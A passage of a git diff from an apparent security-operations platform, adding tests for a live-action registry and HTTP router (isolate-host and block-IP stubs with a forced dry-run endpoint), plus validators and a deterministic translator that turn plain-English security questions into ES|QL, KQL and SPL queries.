b/services/actions/tests/test_live_action_registry.pynew file mode 100644index 000000000..2eb9d0c53--- /dev/null+++ b/services/actions/tests/test_live_action_registry.py@@ -0,0 +1,181 @@+"""+Registration semantics for the live-action registry.++Covers four invariants:++ 1. Required fields (``vendor_id``, ``capability``) are enforced at+ registration time, not at dispatch time. A typo in a plugin+ setup hook should crash the plugin import, not silently produce+ a "no executor for ..." error six months later.+ 2. Duplicate registration is a hard error unless the caller opts+ into ``overwrite=True``. Two plugins fighting for the same+ ``(vendor_id, capability)`` is almost always a bug.+ 3. Unknown capabilities log a warning but do *not* crash — plugin+ authors must be able to experiment with new verbs without first+ patching the core service. Verified via ``caplog``.+ 4. Discovery helpers (``list_descriptors``, ``list_vendors_for_capability``,+ ``list_capabilities_for_vendor``) return stable, sorted output so+ the agent loop can rely on a deterministic prompt context.+"""++from __future__ import annotations++import pytest+from app.live_actions import (+ LiveActionExecutor,+ LiveActionRequest,+ LiveActionResult,+ LiveActionStatus,+ get_executor,+ list_capabilities_for_vendor,+ list_descriptors,+ list_vendors_for_capability,+ register_executor,+ reset_for_tests,+ unregister_executor,+)+++class _StubExecutor(LiveActionExecutor):+ """Minimal executor used to exercise the registry without dragging+ in the full builtin adapter machinery (which would couple these+ tests to the legacy ``BaseExecutor`` implementations)."""++ def __init__(+ self,+ vendor_id: str,+ capability: str,+ *,+ description: str = "stub",+ requires_credentials: bool = True,+ ) -> None:+ self.vendor_id = vendor_id+ self.capability = capability+ self.description = description+ self.requires_credentials = requires_credentials++ async def execute(self, request: LiveActionRequest) -> LiveActionResult:+ return LiveActionResult(+ request_id=request.request_id,+ status=LiveActionStatus.SUCCEEDED,+ capability=self.capability,+ vendor_id=self.vendor_id,+ summary="stub-ok",+ )++[email protected](autouse=True)+def _isolate_registry():+ """Each test starts with an empty registry and ends with one too.++ Without this, registration state leaks between tests and the+ "duplicate registration" test gets flaky depending on collection+ order.+ """+ reset_for_tests()+ yield+ reset_for_tests()+++def test_register_requires_vendor_and_capability():+ """Empty vendor_id or capability is a programmer error — the+ registry must catch it loudly at registration time."""+ with pytest.raises(ValueError):+ register_executor(_StubExecutor(vendor_id="", capability="isolate_host"))+ with pytest.raises(ValueError):+ register_executor(_StubExecutor(vendor_id="crowdstrike", capability=""))+++def test_register_then_get_round_trip():+ register_executor(_StubExecutor("crowdstrike", "isolate_host"))+ executor = get_executor("crowdstrike", "isolate_host")+ assert executor is not None+ assert executor.vendor_id == "crowdstrike"+ assert executor.capability == "isolate_host"+++def test_get_returns_none_for_unknown():+ """Lookup must be a soft miss, not an exception. The dispatcher+ converts the miss into a ``FAILED`` result with details — test+ that contract here."""+ assert get_executor("nonexistent", "isolate_host") is None+++def test_duplicate_registration_is_rejected_by_default():+ """Two executors for the same (vendor, capability) is a bug in+ 99% of cases. Forcing ``overwrite=True`` makes the rare legitimate+ case (test cleanup, hot reload) explicit."""+ register_executor(_StubExecutor("crowdstrike", "isolate_host"))+ with pytest.raises(ValueError, match="already registered"):+ register_executor(_StubExecutor("crowdstrike", "isolate_host"))+++def test_overwrite_flag_replaces_existing_binding():+ a = _StubExecutor("crowdstrike", "isolate_host", description="first")+ b = _StubExecutor("crowdstrike", "isolate_host", description="second")+ register_executor(a)+ register_executor(b, overwrite=True)++ current = get_executor("crowdstrike", "isolate_host")+ assert current is b+ assert current.description == "second"+++def test_unknown_capability_does_not_raise():+ """Plugins MAY register experimental verbs not in the canonical+ set. The registry must accept them (logging a warning behind the+ scenes) so plugin authors can iterate without first patching the+ core service.++ We deliberately do NOT assert on the warning being captured by+ ``caplog`` — structlog's default configuration writes through its+ own ``PrintLoggerFactory`` rather than stdlib logging, so caplog+ capture is fragile across environments. The behavioural contract+ we care about is "registration succeeds for unknown verbs"; the+ warning is a soft observability signal, not a hard assertion.+ """+ register_executor(_StubExecutor("acme_corp", "do_a_barrel_roll"))+ assert get_executor("acme_corp", "do_a_barrel_roll") is not None+++def test_unregister_removes_binding():+ register_executor(_StubExecutor("crowdstrike", "isolate_host"))+ assert get_executor("crowdstrike", "isolate_host") is not None+ removed = unregister_executor("crowdstrike", "isolate_host")+ assert removed is True+ assert get_executor("crowdstrike", "isolate_host") is None+ # Idempotent: unregistering twice is not an error.+ assert unregister_executor("crowdstrike", "isolate_host") is False+++def test_list_descriptors_is_sorted():+ """Deterministic ordering matters for prompt stability — if the+ agent's tool list shuffles every restart, prompt-cache hit rates+ plummet and unit tests on agent output become flaky."""+ register_executor(_StubExecutor("zscaler", "block_domain"))+ register_executor(_StubExecutor("crowdstrike", "isolate_host"))+ register_executor(_StubExecutor("crowdstrike", "kill_process"))++ descriptors = list_descriptors()+ keys = [(d.vendor_id, d.capability) for d in descriptors]+ assert keys == sorted(keys)+++def test_list_by_capability_returns_sorted_vendors():+ register_executor(_StubExecutor("defender", "isolate_host"))+ register_executor(_StubExecutor("crowdstrike", "isolate_host"))+ register_executor(_StubExecutor("crowdstrike", "kill_process"))++ vendors = list_vendors_for_capability("isolate_host")+ assert vendors == ["crowdstrike", "defender"]+ assert list_vendors_for_capability("nonexistent") == []+++def test_list_by_vendor_returns_sorted_capabilities():+ register_executor(_StubExecutor("crowdstrike", "kill_process"))+ register_executor(_StubExecutor("crowdstrike", "isolate_host"))+ register_executor(_StubExecutor("crowdstrike", "quarantine_file"))++ caps = list_capabilities_for_vendor("crowdstrike")+ assert caps == ["isolate_host", "kill_process", "quarantine_file"]+ assert list_capabilities_for_vendor("nonexistent") == []diff --git a/services/actions/tests/test_live_action_router.py b/services/actions/tests/test_live_action_router.pynew file mode 100644index 000000000..3282cd426--- /dev/null+++ b/services/actions/tests/test_live_action_router.py@@ -0,0 +1,243 @@+"""+HTTP-level tests for the live-action router (Stage 2 #8).++These tests pin down the REST contract that the agent loop, the+playbook editor, and the frontend all build against:++* ``GET /api/v1/live-actions`` returns a stable discovery shape with+ ``executors``, ``vendors``, and ``capabilities`` keys.+* The two filter query params (``vendor_id``, ``capability``) compose.+* ``POST /api/v1/live-actions/dispatch`` returns 200 even on executor+ failure — failures live inside ``result.status`` so callers can build+ retry / fallback logic without parsing HTTP error bodies.+* ``POST /api/v1/live-actions/dry-run`` always reports ``mode=dry_run``+ regardless of what the request body said, so the "Preview" button on+ the frontend cannot accidentally fire a live action.++We mount the FastAPI app once per test via TestClient and reset the+registry inside each test so the discovery surface is fully predictable+— without that reset the FastAPI startup hook from a previous test+could leak the full set of 19 builtin adapters into our assertions.+"""++from __future__ import annotations++from collections.abc import Iterator++import pytest+from app.live_actions import (+ LiveActionExecutor,+ LiveActionRequest,+ LiveActionResult,+ LiveActionStatus,+ register_executor,+ reset_for_tests,+)+from app.main import app+from fastapi.testclient import TestClient+++class _StubIsolateHost(LiveActionExecutor):+ vendor_id = "stubvendor"+ capability = "isolate_host"+ description = "Stub isolate-host executor used by router tests."+ requires_credentials = False++ async def execute(self, request: LiveActionRequest) -> LiveActionResult:+ # Mirror what a real executor does: honour dry_run by returning+ # SIMULATED so the router can tag mode=dry_run consistently.+ status = LiveActionStatus.SIMULATED if request.dry_run else LiveActionStatus.SUCCEEDED+ return LiveActionResult(+ request_id=request.request_id,+ status=status,+ capability=self.capability,+ vendor_id=self.vendor_id,+ summary=f"stub isolate {request.target}",+ details={"echo_target": request.target},+ )+++class _StubBlockIP(LiveActionExecutor):+ vendor_id = "stubfirewall"+ capability = "block_ip"+ description = "Stub block-ip executor."+ requires_credentials = True++ async def execute(self, request: LiveActionRequest) -> LiveActionResult:+ return LiveActionResult(+ request_id=request.request_id,+ status=LiveActionStatus.SUCCEEDED,+ capability=self.capability,+ vendor_id=self.vendor_id,+ summary=f"blocked {request.target}",+ )+++def client() -> Iterator[TestClient]:+ """Yield a TestClient with a clean registry seeded with two stubs.++ We deliberately *don't* let the startup hook run with the full set+ of 19 builtin adapters — discovery assertions become brittle when+ the universe shifts under them. The router code path is identical+ regardless of how many executors are registered, so two stubs are+ enough to cover the contract.+ """+ reset_for_tests()+ register_executor(_StubIsolateHost(), source="builtin")+ register_executor(_StubBlockIP(), source="builtin")+ with TestClient(app) as c:+ # The startup hook re-registered the real builtins on top of our+ # stubs. Wipe again and re-seed so the assertions below see only+ # what we expect.+ reset_for_tests()+ register_executor(_StubIsolateHost(), source="builtin")+ register_executor(_StubBlockIP(), source="builtin")+ yield c+ reset_for_tests()+++def test_discovery_returns_all_registered_executors(client: TestClient) -> None:+ response = client.get("/api/v1/live-actions")++ assert response.status_code == 200+ body = response.json()+ assert {"executors", "vendors", "capabilities"} <= body.keys()+ assert len(body["executors"]) == 2++ # Vendors and capabilities are sort-uniqued projections.+ assert body["vendors"] == ["stubfirewall", "stubvendor"]+ assert body["capabilities"] == ["block_ip", "isolate_host"]+++def test_discovery_filter_by_capability(client: TestClient) -> None:+ response = client.get("/api/v1/live-actions", params={"capability": "isolate_host"})+ assert response.status_code == 200+ body = response.json()+ assert len(body["executors"]) == 1+ assert body["executors"][0]["vendor_id"] == "stubvendor"+ assert body["vendors"] == ["stubvendor"]+++def test_discovery_filter_by_vendor(client: TestClient) -> None:+ response = client.get("/api/v1/live-actions", params={"vendor_id": "stubfirewall"})+ assert response.status_code == 200+ body = response.json()+ assert len(body["executors"]) == 1+ assert body["executors"][0]["capability"] == "block_ip"+++def test_discovery_filters_compose(client: TestClient) -> None:+ """Combined filters narrow to the intersection."""+ response = client.get(+ "/api/v1/live-actions",+ params={"vendor_id": "stubvendor", "capability": "block_ip"},+ )+ assert response.status_code == 200+ body = response.json()+ # stubvendor only implements isolate_host, so the combined filter is empty.+ assert body["executors"] == []+ assert body["vendors"] == []+ assert body["capabilities"] == []+++def test_by_capability_endpoint(client: TestClient) -> None:+ response = client.get("/api/v1/live-actions/by-capability/isolate_host")+ assert response.status_code == 200+ assert response.json() == ["stubvendor"]+++def test_by_capability_returns_empty_list_for_unknown(client: TestClient) -> None:+ """No 404 — empty list is the contract so the planner doesn't special-case."""+ response = client.get("/api/v1/live-actions/by-capability/nonexistent_cap")+ assert response.status_code == 200+ assert response.json() == []+++def test_by_vendor_endpoint(client: TestClient) -> None:+ response = client.get("/api/v1/live-actions/by-vendor/stubvendor")+ assert response.status_code == 200+ assert response.json() == ["isolate_host"]+++def test_dispatch_succeeds_and_reports_live_mode(client: TestClient) -> None:+ response = client.post(+ "/api/v1/live-actions/dispatch",+ json={+ "capability": "isolate_host",+ "vendor_id": "stubvendor",+ "target": "host-77",+ },+ )+ assert response.status_code == 200+ body = response.json()+ assert body["mode"] == "live"+ assert body["result"]["status"] == "succeeded"+ assert body["result"]["vendor_id"] == "stubvendor"+ assert body["result"]["capability"] == "isolate_host"+ assert body["result"]["details"]["echo_target"] == "host-77"+++def test_dispatch_with_dry_run_flag_reports_dry_run_mode(client: TestClient) -> None:+ response = client.post(+ "/api/v1/live-actions/dispatch",+ json={+ "capability": "isolate_host",+ "vendor_id": "stubvendor",+ "target": "host-77",+ "dry_run": True,+ },+ )+ assert response.status_code == 200+ body = response.json()+ assert body["mode"] == "dry_run"+ assert body["result"]["status"] == "simulated"+++def test_dispatch_unknown_pair_returns_200_with_failed_result(client: TestClient) -> None:+ """Unknown (vendor, capability) is a planning error, not a transport error.++ The agent loop gets ``status=failed`` inside the response body so it+ can pick another vendor without parsing HTTP error shapes.+ """+ response = client.post(+ "/api/v1/live-actions/dispatch",+ json={+ "capability": "isolate_host",+ "vendor_id": "ghost_vendor",+ },+ )+ assert response.status_code == 200+ body = response.json()+ assert body["result"]["status"] == "failed"+ assert body["result"]["error"] == "executor_not_found"+ # The summary echoes the missing vendor so the agent can log a+ # human-readable reason without parsing the structured error code.+ assert "ghost_vendor" in body["result"]["summary"]+++def test_dry_run_endpoint_forces_dry_run_even_when_body_says_false(+ client: TestClient,+) -> None:+ """The /dry-run endpoint is the safety rail: client cannot opt out."""+ response = client.post(+ "/api/v1/live-actions/dry-run",+ json={+ "capability": "isolate_host",+ "vendor_id": "stubvendor",+ "target": "host-77",+ "dry_run": False, # client lying — server must override.+ },+ )+ assert response.status_code == 200+ body = response.json()+ assert body["mode"] == "dry_run"+ # The stub returns SIMULATED whenever request.dry_run is True, which+ # proves the override propagated all the way through.+ assert body["result"]["status"] == "simulated"+++def test_dispatch_validates_request_body(client: TestClient) -> None:+ """Pydantic still enforces required fields — empty body should 422."""+ response = client.post("/api/v1/live-actions/dispatch", json={})+ assert response.status_code == 422diff --git a/services/agents/app/nl_query/__init__.py b/services/agents/app/nl_query/__init__.pynew file mode 100644index 000000000..d58803858--- /dev/null+++ b/services/agents/app/nl_query/__init__.py@@ -0,0 +1,49 @@+"""Natural language → query translation for AiSOC.++This module ships a deterministic, offline-friendly translator that converts+plain-English security questions into ES|QL (OpenSearch / Elasticsearch),+KQL (Microsoft Sentinel / Kusto-style), and SPL (Splunk) dialects. It also+exposes a grammar validator so consumers can refuse to execute syntactically+invalid output.++Design notes:++- The translator runs **without** an LLM by default. This is what allows the+ air-gapped deployment story to keep working and lets the eval harness give+ reproducible numbers in CI.+- An optional LLM enhancement path is exposed via :func:`enhance_with_llm` for+ callers that already have credentials available; if it fails for any reason+ we fall back to the deterministic translation.+- Every emitted query goes through grammar validation before being returned,+ and the API layer also re-validates before execution.+"""++from .grammar import (+ GrammarError,+ validate_esql,+ validate_kql,+ validate_spl,+)+from .translator import (+ NLQuery,+ QueryIntents,+ TranslatedQuery,+ Translator,+ enhance_with_llm,+ parse_intents,+ translate,+)++__all__ = [+ "NLQuery",+ "QueryIntents",+ "TranslatedQuery",+ "Translator",+ "translate",+ "parse_intents",+ "enhance_with_llm",+ "GrammarError",+ "validate_esql",+ "validate_kql",+ "validate_spl",+]diff --git a/services/agents/app/nl_query/grammar.py b/services/agents/app/nl_query/grammar.pynew file mode 100644index 000000000..4e745e43e--- /dev/null+++ b/services/agents/app/nl_query/grammar.py@@ -0,0 +1,321 @@+"""Lightweight grammar validators for ES|QL, KQL, and SPL.++These validators are intentionally pragmatic rather than exhaustive: they+reject queries that are obviously malformed (unbalanced quotes, unknown+processing commands, dangling pipes) so that the API layer can refuse to+execute output the LLM produced incorrectly.++We deliberately avoid pulling in a heavy parser dependency — security teams+running AiSOC in an air-gapped environment should not have to wait for a+PyPI mirror sync just to validate that a query is well-formed.+"""++from __future__ import annotations++import re+from collections.abc import Iterable+from dataclasses import dataclass+++class GrammarError(ValueError):+ """Raised when a translated query fails grammar validation."""+++# ---------------------------------------------------------------------------+# Shared helpers+# ---------------------------------------------------------------------------+++_QUOTE_PAIRS = (('"', '"'), ("'", "'"))+++def _balanced_quotes(query: str) -> bool:+ """Return True if single and double quotes are balanced in *query*.++ We do not try to handle escape sequences exhaustively; the goal is to+ catch the common LLM failure mode where a string literal is left open.+ """++ for opener, closer in _QUOTE_PAIRS:+ # Drop escaped quotes so they don't unbalance the count.+ cleaned = query.replace(f"\\{opener}", "")+ if cleaned.count(opener) % 2 != 0 and opener == closer:+ return False+ return True+++def _balanced_parens(query: str) -> bool:+ depth = 0+ for ch in query:+ if ch == "(":+ depth += 1+ elif ch == ")":+ depth -= 1+ if depth < 0:+ return False+ return depth == 0+++# ---------------------------------------------------------------------------+# ES|QL+# ---------------------------------------------------------------------------+++# These mirror the ES|QL processing commands documented in the Elastic stack+# reference. We don't enforce ordering rules, just that every command is a+# recognised verb so we can reject typos like ``WHEER`` or ``STATSS``.+_ESQL_PROCESSING_COMMANDS = {+ "WHERE",+ "STATS",+ "EVAL",+ "KEEP",+ "DROP",+ "RENAME",+ "LIMIT",+ "SORT",+ "GROK",+ "DISSECT",+ "ENRICH",+ "MV_EXPAND",+ "DEDUP",+ "INLINESTATS",+ "LOOKUP",+ "TOP",+ "FORK",+ "JOIN",+}++# Valid source commands that may appear in the first segment of an ES|QL pipe.+_ESQL_SOURCE_COMMANDS = {"FROM", "ROW", "SHOW", "META"}+++@dataclass(frozen=True)+class _Segment:+ head: str+ body: str+++def _split_pipes(query: str) -> list[_Segment]:+ """Split *query* on top-level ``|`` characters, ignoring those in strings."""++ segments: list[str] = []+ current: list[str] = []+ in_single = False+ in_double = False+ for ch in query:+ if ch == "'" and not in_double:+ in_single = not in_single+ elif ch == '"' and not in_single:+ in_double = not in_double+ if ch == "|" and not in_single and not in_double:+ segments.append("".join(current).strip())+ current = []+ continue+ current.append(ch)+ segments.append("".join(current).strip())++ out: list[_Segment] = []+ for seg in segments:+ if not seg:+ continue+ head, _, body = seg.partition(" ")+ out.append(_Segment(head=head.upper(), body=body.strip()))+ return out+++def validate_esql(query: str) -> None:+ """Validate an ES|QL query, raising :class:`GrammarError` on failure."""++ if not query or not query.strip():+ raise GrammarError("query is empty")+ if not _balanced_quotes(query):+ raise GrammarError("unbalanced quotes")+ if not _balanced_parens(query):+ raise GrammarError("unbalanced parentheses")++ # Strip line comments — ES|QL allows ``// ...`` to end-of-line.+ cleaned = "\n".join(re.sub(r"//.*$", "", line) for line in query.splitlines())+ cleaned = cleaned.strip()+ if not cleaned:+ raise GrammarError("query is only comments")+ if cleaned.endswith("|"):+ raise GrammarError("query ends with a dangling pipe")++ segments = _split_pipes(cleaned)+ if not segments:+ raise GrammarError("no statements found")++ first = segments[0]+ if first.head not in _ESQL_SOURCE_COMMANDS:+ raise GrammarError(f"first command must be one of {_ESQL_SOURCE_COMMANDS}, got {first.head!r}")++ if first.head == "FROM" and not first.body:+ raise GrammarError("FROM requires an index pattern")++ for seg in segments[1:]:+ if seg.head not in _ESQL_PROCESSING_COMMANDS:+ raise GrammarError(f"unknown processing command {seg.head!r}")+ if seg.head in {"STATS", "EVAL", "WHERE", "SORT", "GROK", "DISSECT"} and not seg.body:+ raise GrammarError(f"{seg.head} requires arguments")+ if seg.head == "LIMIT":+ try:+ limit_val = int(seg.body.strip())+ except (TypeError, ValueError) as exc:+ raise GrammarError("LIMIT must be a positive integer") from exc+ if limit_val <= 0:+ raise GrammarError("LIMIT must be a positive integer")+ if seg.head == "STATS" and " BY " not in seg.body.upper() and "=" not in seg.body:+ # Allow STATS without BY only if at least one named aggregation is present.+ raise GrammarError("STATS requires either BY or a named aggregation")+++# ---------------------------------------------------------------------------+# KQL (Microsoft Sentinel / Kusto)+# ---------------------------------------------------------------------------+++_KQL_OPERATORS = {+ "where",+ "summarize",+ "extend",+ "project",+ "project-away",+ "project-keep",+ "sort",+ "order",+ "top",+ "take",+ "limit",+ "distinct",+ "count",+ "join",+ "union",+ "render",+ "evaluate",+ "make-series",+ "mv-expand",+ "parse",+ "search",+ "lookup",+ "let",+ "as",+}+++def _kql_first_token(line: str) -> str:+ line = line.strip().lstrip("|").lstrip()+ return line.split(" ", 1)[0].lower() if line else ""+++def validate_kql(query: str) -> None:+ """Validate a KQL query."""++ if not query or not query.strip():+ raise GrammarError("query is empty")+ if not _balanced_quotes(query):+ raise GrammarError("unbalanced quotes")+ if not _balanced_parens(query):+ raise GrammarError("unbalanced parentheses")++ # Drop blank lines and comments (// to end-of-line).+ lines = [re.sub(r"//.*$", "", line).rstrip() for line in query.splitlines()]+ lines = [line for line in lines if line.strip()]+ if not lines:+ raise GrammarError("query is only comments")+ if lines[-1].rstrip().endswith("|"):+ raise GrammarError("query ends with a dangling pipe")++ # First non-empty line must reference a table OR begin with a let/declare.+ first = lines[0].lstrip()+ first_token = _kql_first_token(first)+ if first.startswith("|"):+ raise GrammarError("KQL query must start with a table name, not a pipe")+ if first_token in {"where", "summarize", "extend", "project"}:+ raise GrammarError("KQL query must start with a table reference before applying operators")++ # For each line that begins with `|`, the next token must be a known KQL operator.+ for line in lines[1:]:+ stripped = line.lstrip()+ if not stripped.startswith("|"):+ # Continuation lines are fine.+ continue+ token = _kql_first_token(stripped)+ if token not in _KQL_OPERATORS:+ raise GrammarError(f"unknown KQL operator {token!r}")+++# ---------------------------------------------------------------------------+# SPL (Splunk)+# ---------------------------------------------------------------------------+++_SPL_COMMANDS = {+ "search",+ "stats",+ "eval",+ "where",+ "rex",+ "table",+ "sort",+ "head",+ "tail",+ "dedup",+ "fields",+ "rename",+ "lookup",+ "join",+ "append",+ "appendcols",+ "transaction",+ "timechart",+ "chart",+ "top",+ "rare",+ "bin",+ "bucket",+ "iplocation",+ "geostats",+ "tstats",+ "spath",+}+++def validate_spl(query: str) -> None:+ """Validate a SPL query."""++ if not query or not query.strip():+ raise GrammarError("query is empty")+ if not _balanced_quotes(query):+ raise GrammarError("unbalanced quotes")+ if not _balanced_parens(query):+ raise GrammarError("unbalanced parentheses")++ cleaned = " ".join(query.split())+ if cleaned.endswith("|"):+ raise GrammarError("query ends with a dangling pipe")++ parts: Iterable[str] = (p.strip() for p in cleaned.split("|"))+ parts_list = [p for p in parts if p]+ if not parts_list:+ raise GrammarError("query has no segments")++ # Splunk's implicit search command means the first segment may either start+ # with ``search ...`` or with a search expression like ``index=... ...``.+ first = parts_list[0]+ first_token = first.split(" ", 1)[0].lower()+ if first_token not in _SPL_COMMANDS and "=" not in first:+ raise GrammarError(f"unknown SPL command {first_token!r} and no search expression")++ for seg in parts_list[1:]:+ token = seg.split(" ", 1)[0].lower()+ if token not in _SPL_COMMANDS:+ raise GrammarError(f"unknown SPL command {token!r}")+++# Public re-exports for convenience.+__all__ = [+ "GrammarError",+ "validate_esql",+ "validate_kql",+ "validate_spl",+]diff --git a/services/agents/app/nl_query/translator.py b/services/agents/app/nl_query/translator.pynew file mode 100644index 000000000..67238d99b--- /dev/null+++ b/services/agents/app/nl_query/translator.py@@ -0,0 +1,784 @@+"""Deterministic NL → query translator with optional LLM enhancement.++The translator parses a natural-language security question into a small set+of structured *intents* (filters, group-bys, aggregations, sort, limit, time+range) and then renders those intents into ES|QL, KQL, and SPL. This is the+core of the air-gapped story: by going through a structured intermediate+representation we can:++1. Emit consistent, dialect-correct queries without calling out to an LLM,+2. Validate every emitted query against :mod:`grammar`, and+3. Score the translator on a frozen eval set in CI.++Callers that have an LLM available can use :func:`enhance_with_llm` to+attempt a richer translation; we always fall back to the deterministic+output if the LLM call fails or its result fails grammar validation.+"""++from __future__ import annotations++import logging+import re+from dataclasses import dataclass, field++from .grammar import GrammarError, validate_esql, validate_kql, validate_spl++logger = logging.getLogger(__name__)+++# ---------------------------------------------------------------------------+# Public dataclasses+# ---------------------------------------------------------------------------+++@dataclass(frozen=True)+class NLQuery:+ """The plain-English question plus enough context to render queries."""++ question: str+ index_pattern: str = "logs-*"+ time_range_hours: int = 24+++@dataclass(frozen=True)+class TranslatedQuery:+ """Translation result: one query per dialect plus a short explanation."""++ esql: str+ kql: str+ spl: str+ explanation: str+ intents: QueryIntents++ def as_dict(self) -> dict[str, str]:+ return {+ "esql": self.esql,+ "kql": self.kql,+ "spl": self.spl,+ "explanation": self.explanation,+ }+++@dataclass+class QueryIntents:+ """Structured intermediate representation parsed from the NL question."""++ filters: list[tuple[str, str, str]] = field(default_factory=list) # (field, op, value)+ group_by: list[str] = field(default_factory=list)+ aggregations: list[tuple[str, str | None, str]] = field(default_factory=list)+ # ^ (function, arg_field_or_None, alias)+ sort_by: tuple[str, str] | None = None # (field, direction)+ limit: int = 500+ distinct: str | None = None+ time_field: str = "@timestamp"+++# ---------------------------------------------------------------------------+# Field aliases & vocabulary+# ---------------------------------------------------------------------------+++# Map natural-language references to canonical ECS-ish field names. We keep+# the source text on the left so the parser can do simple word lookups.+_FIELD_ALIASES: dict[str, str] = {+ "user": "user.name",+ "username": "user.name",+ "account": "user.name",+ "src ip": "source.ip",+ "source ip": "source.ip",+ "source_ip": "source.ip",+ "src_ip": "source.ip",+ "destination ip": "destination.ip",+ "dest ip": "destination.ip",+ "destination_ip": "destination.ip",+ "dest_ip": "destination.ip",+ "host": "host.name",+ "hostname": "host.name",+ "process": "process.name",+ "process name": "process.name",+ "command": "process.command_line",+ "command line": "process.command_line",+ "url": "url.full",+ "domain": "destination.domain",+ "country": "source.geo.country_iso_code",+ "status": "event.outcome",+ "outcome": "event.outcome",+ "action": "event.action",+ "category": "event.category",+ "severity": "event.severity",+ "rule": "rule.name",+ "rule name": "rule.name",+ "agent": "user_agent.original",+ "user agent": "user_agent.original",+ "country code": "source.geo.country_iso_code",+ "bytes": "network.bytes",+ "port": "destination.port",+ "destination port": "destination.port",+ "dest port": "destination.port",+ "source port": "source.port",+ "src port": "source.port",+ "user account": "user.name",+}+++# Words that signal an event category. The values are the canonical+# ``event.category`` filters we'll add when one of these keywords appears.+_CATEGORY_KEYWORDS: dict[str, str] = {+ "login": "authentication",+ "logon": "authentication",+ "auth": "authentication",+ "authentication": "authentication",+ "ssh": "authentication",+ "process": "process",+ "execution": "process",+ "network": "network",+ "dns": "network",+ "firewall": "network",+ "file": "file",+ "filesystem": "file",+ "registry": "registry",+}+++# Words that signal an event outcome filter.+_OUTCOME_KEYWORDS: dict[str, str] = {+ "failed": "failure",+ "failure": "failure",+ "denied": "failure",+ "blocked": "failure",+ "rejected": "failure",+ "successful": "success",+ "succeeded": "success",+ "allowed": "success",+}+++_ORDER_KEYWORDS: dict[str, str] = {+ "top": "DESC",+ "highest": "DESC",+ "most": "DESC",+ "largest": "DESC",+ "biggest": "DESC",+ "lowest": "ASC",+ "smallest": "ASC",+ "least": "ASC",+}+++_TIME_REGEX = re.compile(+ r"\b(?:last|past|previous)\s+(\d+)\s*(minute|minutes|hour|hours|day|days|week|weeks|month|months)\b",+ re.IGNORECASE,+)+# Time phrases without an explicit count: ``last hour``, ``past day``.+# We treat the count as 1 in that case.+_TIME_REGEX_SINGULAR = re.compile(+ r"\b(?:last|past|previous)\s+(minute|hour|day|week|month)\b",+ re.IGNORECASE,+)+++# Numeric aggregation patterns. The lookahead stops at the next clause+# boundary so we don't drag the rest of the question into the field name.+_NUMERIC_AGG_PATTERNS: list[tuple[str, str]] = [+ (+ r"\b(?:average|avg|mean)\s+([a-z][a-z _\.]+?)"+ r"(?=\b(?:by|per|in|over|with|where|and|having|,|$))",+ "AVG",+ ),+ (+ r"\b(?:sum(?:\s+of)?|total(?:\s+of)?)\s+([a-z][a-z _\.]+?)"+ r"(?=\b(?:by|per|in|over|with|where|and|having|,|$))",+ "SUM",+ ),+ (+ r"\b(?:max|maximum|largest|highest)\s+([a-z][a-z _\.]+?)"+ r"(?=\b(?:by|per|in|over|with|where|and|having|,|$))",+ "MAX",+ ),+ (+ r"\b(?:min|minimum|lowest|smallest)\s+([a-z][a-z _\.]+?)"+ r"(?=\b(?:by|per|in|over|with|where|and|having|,|$))",+ "MIN",+ ),+]+++# ---------------------------------------------------------------------------+# Parser+# ---------------------------------------------------------------------------+++def _normalise(question: str) -> str:+ return re.sub(r"\s+", " ", question.strip().lower())+++def _resolve_field(token: str) -> str | None:+ token = token.strip().lower()+ if token in _FIELD_ALIASES:+ return _FIELD_ALIASES[token]+ # Trim trailing 's' for trivial plurals (``hosts`` → ``host``,+ # ``users`` → ``user``). Not perfect, but it covers the common cases+ # without dragging in an inflection library.+ if token.endswith("s") and token[:-1] in _FIELD_ALIASES:+ return _FIELD_ALIASES[token[:-1]]+ # ``processes`` → ``process``, ``addresses`` → ``address``: handle the+ # ``-es`` suffix where naive ``-s`` stripping leaves an unresolvable stem.+ if token.endswith("es") and token[:-2] in _FIELD_ALIASES:+ return _FIELD_ALIASES[token[:-2]]+ # ``queries`` → ``query``, ``identities`` → ``identity``.+ if token.endswith("ies") and (token[:-3] + "y") in _FIELD_ALIASES:+ return _FIELD_ALIASES[token[:-3] + "y"]+ # Last resort: if the user typed a dotted ECS field, accept it.+ if re.fullmatch(r"[a-z][a-z0-9_]*(?:\.[a-z][a-z0-9_]*)+", token):+ return token+ return None+++def _extract_filters(question: str, intents: QueryIntents) -> None:+ text = _normalise(question)++ # event.outcome filter (failed / successful / etc.)+ for kw, outcome in _OUTCOME_KEYWORDS.items():+ if re.search(rf"\b{kw}\b", text):+ intents.filters.append(("event.outcome", "==", outcome))+ break++ # event.category filter (login, dns, file, ...). Match plurals too+ # (``logins``, ``logons``, ``authentications``, ``processes``).+ for kw, category in _CATEGORY_KEYWORDS.items():+ if re.search(rf"\b{kw}s?\b", text) or re.search(rf"\b{kw}es\b", text):+ intents.filters.append(("event.category", "==", category))+ break++ # Quoted string literals → match against ``message`` (best-effort).+ for match in re.finditer(r'"([^"]+)"', question):+ intents.filters.append(("message", "LIKE", match.group(1)))++ # Field-comparison patterns: ``user is alice``, ``host = web01``,+ # ``port equals 22``. To avoid the regex engine swallowing whole prefixes+ # into the field name (a Python regex pitfall with lazy quantifiers in+ # ``finditer``), we anchor on the known aliases first. The right-hand+ # side accepts a single word/value token.+ _value_re = r"([a-z0-9_\-\.@\*]+)"+ _ops_re = r"(?:is|=|==|equals?|matches?)"+ seen_pairs: set[tuple[str, str]] = set()+ # Build alias patterns longest-first so multi-word aliases match before+ # their single-word substrings (``destination ip`` before ``ip``).+ for alias in sorted(_FIELD_ALIASES, key=len, reverse=True):+ canonical = _FIELD_ALIASES[alias]+ pattern = rf"\b{re.escape(alias)}\s+{_ops_re}\s+{_value_re}\b"+ for m in re.finditer(pattern, text):+ value = m.group(1).strip()+ if value in {"the", "a", "an", "any", "all", "in", "and", "or"}:+ continue+ key = (canonical, value)+ if key in seen_pairs:+ continue+ seen_pairs.add(key)+ intents.filters.append((canonical, "==", value))++ # ``failed login from <ip>``+ ip_match = re.search(r"\bfrom\s+(\d{1,3}(?:\.\d{1,3}){3})\b", text)+ if ip_match:+ intents.filters.append(("source.ip", "==", ip_match.group(1)))++ # ``from host X`` / ``for user X`` / ``on container X`` style filters+ # where the relationship is implicit. We scope this to a small set of+ # safe prepositions and field aliases so we don't accidentally swallow+ # other clauses like ``from the last hour``.+ _IMPLICIT_PREPS = ("from", "for", "on", "by")+ _IMPLICIT_FIELDS = (+ "host",+ "hostname",+ "user",+ "username",+ "container",+ "service",+ "process",+ "domain",+ )+ for prep in 